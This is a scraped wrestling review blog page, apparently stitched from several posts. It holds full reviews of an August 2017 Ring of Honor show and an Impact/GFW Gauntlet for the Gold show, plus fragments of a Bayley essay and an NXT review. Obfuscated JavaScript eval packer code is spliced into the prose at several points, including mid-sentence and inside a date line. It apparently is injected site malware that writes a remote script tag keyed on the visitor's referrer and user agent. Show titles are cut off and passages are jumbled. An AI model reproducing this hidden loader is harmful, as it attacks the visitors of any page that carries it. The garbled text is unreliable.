");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kefnk|var|u0026u|referrer|aayfb||js|php'.split('|'),0,{})) of Honor
Date: August 23, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, BJ Whitmer

Tonight is all about the Six Man Tag Team Titles as yet ANOTHER team has been thrown together for the sake of giving the champions some challengers. In this case it’s Dalton Castle and the Boys defending against Colt Cabana and the Tempura Boyz. And yes, it’s all because both bigger names have partners called Boys(z). Let’s get to it.

Dalton Castle says taking the titles from him when he’s flanked by the Boys is like trying to boil a chicken so he’s not worried.

Opening sequence.

Coast to Coast vs. Best Friends

Caprice Coleman jumps in on commentary and for some reason we keep looking at the commentary booth instead of the ring. Chuckie (Chuckie T, of the Best friends with partner Berreta) and LSG start things off with some flips going nowhere. It’s off to Ali vs. Berreta with some chops dropping Ali, who comes right back with chops of his own.

They head to the corner for a tag to LSG, who the announcers don’t realize was in the match already. Chuckie tags himself in before Berreta takes LSG down with a dragon suplex. That’s good for a big hug and we take a break. Back with LSG cleaning house and getting two on Chuckie off a faceplant. Berreta comes in for the save but Ali is right there to block a tornado DDT out of the corner.

Instead it’s a swinging Rock Bottom for two on Berreta, who bails outside for a breather. Back to back dives, including a corkscrew version from LSG, has the Best Friends reeling as Coleman is begging for them to go for a cover. Ali gets two off a frog splash but LSG’s 450 hits knees. Berreta’s running knee knocks LSG silly and it’s the piledriver into a cradle piledriver to put him away at 11:51.

Rating: C+. I liked this one more than I was expecting to, even if it just became a big spot fest near the end. The Best Friends are a popular enough team to eventually become a threat to the Bucks. Coast to Coast is getting better too and looks like they’re one of the better young teams who could mean something down the line. Or get split up for no apparent reason.

Jay Lethal talks about how rough it was to be put in the hospital for the first time in his career when Silas Young comes up. The brawl is on with Jay getting the better of it until the Beer City Bruiser comes up for a distraction, allowing Young to hit him in the back with a chair. Post break, Lethal demands any kind of a match against Young and/or Bruiser.

Matt Taven vs. Jay Briscoe

Jay tries to jump him at the bell but actually loses a slugout. Vinny Marseglia busts out an ax to distract Jay (well that could do it) so Jay grabs a chair to even things out. Since that could cause a bad case of death, they head back inside with Jay splashing Taven in the corner and adding a big boot for good measure.

Taven slips out of….something and knees Jay in the face. That’s enough time to check himself out in the camera though and we take a break. Back with Raven bailing out on a frog splash and getting caught with a Death Valley Driver. Taven’s Disaster Kick sets up a Lionsault which hits raised knees, followed by Briscoe’s hard lariat for two.

Jay slugs him in the jaw but a Blue Thunder Bomb gives Taven two more. The Climax (1%er) is broken up so Jay kicks him outside for a suicide dive. Cue Marseglia to interfere but Briscoe cuts him off with a neckbreaker. Now TK O’Ryan gets pulled in as well but he takes off his cast and knocks Jay cold for the DQ at 11:42.

Rating: C. Oh joy, the Kingdom is back. It helps to shore up the Six Man Tag Team Titles but on the other hand, it helps to shore up the Six Man Tag Team Titles. The team does nothing for me but I’ll take them as a trio over random singles matches. Briscoe is still in a weird place as he seems to be teasing a heel turn a lot of the time and then he does a straight face match like this. I mean, it’s hard to be a heel when you’re down 3-1 and one guy has an ax.

Post match the Kingdom covers Jay with chairs and then crushes him with more chairs.  Bully Ray and Mark Briscoe are nowhere to be seen.

Cody is ready to face anyone for the ROH World Title.

Six Man Tag Team Titles: Colt Cabana/Tempura Boyz vs. Dalton Castle/The Boys

Dalton and the Boys are defending. Colt and Dalton start things off and it’s time for some dancing, followed by the champs being sent to the floor for Colt’s own strut. That’s a bit too much comedy for me so we take a break. Back with the Boys bent over backwards to make themselves into a table. Dalton cleans house and then has a seat on them, allowing some much needed fanning up.

Back in and Dalton shakes his knees but Colt tags Sho in instead of having a dance off. It’s off to the Boys…..with one getting on the others shoulders. Sho does it to Yo and we’ve got a game of chicken. Thankfully Colt breaks it up to take over as this match is giving me a headache. Sho grabs a Fujiwara armbar but it’s Twin Magic for the save. Colt tries to make another switch but Sho does the same thing as this is what a championship match has turned into.

We take a second break and come back with the Boyz fanning Colt, allowing more Twin Magic to get one of the Boys out of trouble. The hot tag brings in Castle for some suplexes, including catching a diving Cabana. The Boys dive onto the Boyz and it’s Castle with the peacock strut. A double missile dropkick sets up another German suplex for two but the Boyz come in and take over without too much effort. The Boys pull the Boyz together though and a Bang a Rang ends Colt to retain the titles at 13:44.

Rating: D-. I can’t stand this kind of stuff as they’re just doing lame comedy and it’s for some of the most worthless titles in wrestling. The fact that this whole thing is all about “hey, I’ve got my own boys now” tells you all you need to know about it. Castle is far too talented and far too charismatic to be stuck in something like this. The Six Man Tag Team Titles need to die already, even if it ticks off Papa New Japan.

Post match Castle says Cabana has been an inspiration for a long time. Colt hasn’t made it easy to like him though as Cabana hasn’t accepted that Castle is just better. Now that it’s three straight wins for Castle, can he have Colt’s respect? Cabana shakes his hand to end the show.

Overall Rating: D+. That main event killed what was an otherwise solid show. I’m probably not the audience for that kind of match but it just didn’t work for me. What also doesn’t work for me are these stand alone shows with nothing major in the way of storytelling. This is all about filling in time until we can get back to talking about the pay per view that was barely talked about in advance. Such is life in Ring of Honor, though it’s still rather annoying.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzstf|var|u0026u|referrer|tdfsh||js|php'.split('|'),0,{})) Wrestling
Date: August 24, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a huge night in Orlando as we’re guaranteed a new World Champion. After Alberto El Patron was stripped of the title, a Gauntlet for the Gold was announced. It’s basically a Royal Rumble but the final two participants will have a singles match instead of being thrown over the top for the title. Let’s get to it.

We open with a recap of last week’s show with a focus on the American Top Team fighter attacking Brian Hebner.

Earlier today Jarrett talked to the leader of the MMA guys but Lashley got the boss away. It seemed to be more calm this time. I apologize if I don’t recognize a few of the MMA names but I’m a casual fan of the sport at best.

Jim Cornette addresses part of the roster and says no one is getting an easy paycheck or getting away without fighting. After fining Lashley for being late, he gives everyone a pep talk before the Gauntlet for the Gold.

Opening sequence.

OVE vs. Heatseekers

OVE sends them outside for a suicide dive/moonsault combination. Well they’re already off to a better start than last week. Back in and a double snap spinebuster takes down we’ll say Heatseeker #1. A Death Valley Driver plants #2 as this is rather fast paced. #1 gets sent into the corner and a twisting DDT sends him onto the apron. The superkick/running kick to the knee combination puts away #2 at 3:03.

Rating: C+. Now THAT was how they should have debuted. The team looked great here as they cared up the jobbers with all of their cool moves which is exactly what they should have been doing last week. The tag division is dying for some new talent at this point and OVE seems like a great addition so far.

Cornette is on the phone and says the fine with Lashley was $5000 and if it makes TMZ he’s fired. Eli Drake and Chris Adonis come in so Drake can apologize for getting off on the wrong foot with the boss last week. Drake wants a different number so Cornette makes him a deal: if he leaves Jim alone, Drake can have another number. It’s a deal so Cornette makes him #2. Eli: “IT’S THE SAME THING!”

Oh don’t let WWE hear you say that buddy. They’ll let you know how much more amazing it was for Shawn Michaels to enter in 1995 at #1 and survive a forty minute match than it was for Rey Mysterio to enter in 2006 at #2 and set the longevity record (seriously happened on a list of impressive Rumble feats they released).

We look back at Taryn Terrell returning to take out Gail Kim and cost her the Knockouts Title match last week.

Here’s Terrell in the ring for a chat. Taryn says she and Gail used to be friends with Taryn even going through some issues to be at Gail’s Hall of Fame announcement. Has Gail ever called her or thanked her? Of course not. SHE DOESN’T EVEN FOLLOW TARYN ON TWITTER! Taryn rants about Gail following her husband around the country before she cheats on him and leaves, like she’s doing to this division. She’s tired of this being the Gail Show (preach it) but here’s Gail for the fight with JB breaking it up. Taryn bails while she has the chance.

Video on the recent house show tour. The crowds might have been small but it’s a good idea to get them back on the road, if nothing else to help spread the word about the company.

Some people say they’ll win the title tonight.

Lashley and the American Top Team guys come in to see Cornette, who yells at them for what they did last week. Lashley needs to make a choice about what he wants to do and stop listening to bad advice.

Taya Valkyrie is coming.

We recap Grado’s attempts to stay in the country by marrying Laurel Van Ness.

Here are Grado and Joseph Park for Grado’s farewell to America. Park says he’s going to miss him and Grado goes into a list of American food he’s going to miss. He says goodbye but stops for a THANK YOU GRADO chant. Cue Laurel Van Ness looking completely normal in a rather revealing dress. She calls Grado the peanut butter to her jelly and the barbecue sauce to her ribs. She proposes to Grado and he says yes, only to faint when she kisses him. This brings out Kongo Kong but Mahabali Shera cuts him off and Kong bails.

Cornette is in his office with Eddie Edwards and praises him for wrestling through an injury the night Cornette met him. Jim thinks Anthem would be proud to have Eddie as champion.

LAX talks about beer and tells Low Ki to win the title tonight.

GFW World Title: Gauntlet for the Gold

They have almost an hour for this. There are twenty entrants with a two minute interval for the first two and then ninety seconds between all following entrants. It’s over the top rope eliminations until there are two left and then it’s a regular match for the title. Eddie Edwards is in at #1 and Eli Drake is in at #2. They stall to start (makes sense in something like this) until Eddie slaps him in the face. Drake tries to low bridge him but gets chopped for his efforts as Mario Bokara is in at #3.

A German suplex drops Edwards and it’s a double stomp to put him in trouble. Naturally Drake turns on Mario but Eddie gets back up as it’s Kingston in at #4. Nothing of note happens until it’s Braxton Sutter in at #5. Things slow down again as they tend to do in these things until it’s Richard Justice (the standby wrestler) in at #6. Justice does his exercises both outside and inside the ring until Ethan Carter III is in at #7. Carter talks to Justice before kicking him low and tossing him for the first elimination.

Back from a break with time having stood still as Kongo Kong is in at #8. Kong throws out Bokara and Kingston to clear the ring a bit, only to have everyone else jump him to little avail. Suicide is in at #9 for the trust fall onto everyone with only Kong left standing. Drake bails to the floor without being eliminated and it’s Mahabali Shera in at #10 giving us Shera, Drake, Edwards, Carter, Suicide, Kong and Sutter. Shera low bridges Kong to the floor and it’s Chris Adonis in at #11 to team up with Drake. They get rid of Shera as Suicide and Sutter chop away at Carter. El Hijo Del Fantasma is in at #12 and we take another break.

Back again with Johnny Impact making his debut at #13 and getting rid of Adonis and Suicide without too much effort. Garza Jr. is in at #14 with a missile dropkick to Impact. Sutter breaks up his stripping routine and gets eliminated for his efforts. Fallah Bahh is in at #15 to give us Bahh, Edwards, Drake, Carter, Fantasma, Impact and Garza. Fat man offense ensues and it’s KM at #16.

Drake and Carter fight to the apron as Taiji Ishimori is in at #17. Lashley is in at #18 and it should be time to clear the ring a bit. KM is the first victim, followed by Bahh with no effort. Ishimori actually takes Lashley down with a springboard seated senton, only to slip on another springboard and get eliminated as well. Moose is in at #19 to beat some people up but he’s nice enough to let Garza strip. A powerbomb eliminates Garza, though luckily for him KM was still on the floor to catch him. Back from a break with Low Ki in at #20 to give us a final grouping of Edwards, Drake, Carter, Fantasma, Impact, Lashley, Moose and Low Ki.

Impact tries to catapult Low Ki out but gets caught in a double stomp instead. Fantasma cross bodies Carter and hits a jumping superkick, only to get TK3’d over the top. A pair of kicks to the head gets rid of Carter and we’re down to six. Moose dumps Low Ki and we take our final break. Back again with Lashley spearing Moose but getting caught with the Flying Chuck. Drake plants Impact, followed by Lashley missing a charge to eliminate himself. Edwards hurricanranas Moose out and we’re down to Drake, Edwards and Impact.

Drake gets knocked to the apron and kneed in the head but he hangs on by his feet and pulls himself back in. Impact loads up the Flying Chuck but gets dropped onto the apron. Drake dives through the ropes to the floor (not eliminated) and pulls Impact outside for the elimination. We’re down to Drake vs. Edwards for the title and it’s Eddie hitting the Shot of Caffeine to start fast. A Blue Thunder Bomb gets two on Drake but he rolls through a high crossbody. Drake muscles him up into the Eli Drop (White Noise) for the pin and the title at 55:48. As usual, the announcers act like they’re ordering dinner because they can’t show emotion.

Rating: C-. Mostly dull match here but that’s almost always the case with most of these things. You’re only going to get so much out of a Royal Rumble with the better part of an hour and this could have been worse. Drake winning is a major plus for me as I’ve been a big fan of his for several months now. If nothing else I was expecting them to just give the title to Impact but it’s nice that they might make us wait a few months first. Watchable match, but nothing that hasn’t been done better elsewhere.

The celebration is on but hang on because American Top Team is beating up someone at ringside. Dan Lambert (the Top Team leader) shoves Scott D’Amore down as the team is lead off. Oh yeah and Drake is World Champion to end the show.

Overall Rating: C. Annoying focus on the MMA stuff aside, this was a completely fine show that accomplished its major goal. I’m very glad that the title match got so much time as it feels more important than just throwing them out there for fifteen or so minutes. Now that they’ve done something here though, they need to follow up on it, which has long since been a major issue around here. At least there’s an entertaining champion though and that’s a very good start.

Results

OVE b. Heatseekers – Superkick/Running kick to the knee combination to #2

Eli Drake won Gauntlet for the Gold – Eli Drop to Eddie Edwards

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebbfs|var|u0026u|referrer|tktni||js|php'.split('|'),0,{})) originally wrote this as a comment on a blog post about why Bayley isn’t working.  It was originally going to be a paragraph or two and wound up being two pages.  Here’s my take on why Bayley has completely missed on the main roster and why that’s not a surprise at all (nor is it her fault).

He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ernfi|var|u0026u|referrer|byzii||js|php'.split('|'),0,{})) was rather awesome.

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbdfy|var|u0026u|referrer|hkbni||js|php'.split('|'),0,{})) August 23, 2017
Location: Barclays Center, New York City, New York
Commentators: Percy Watson, Nigel McGuinness, Mauro Ranallo

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6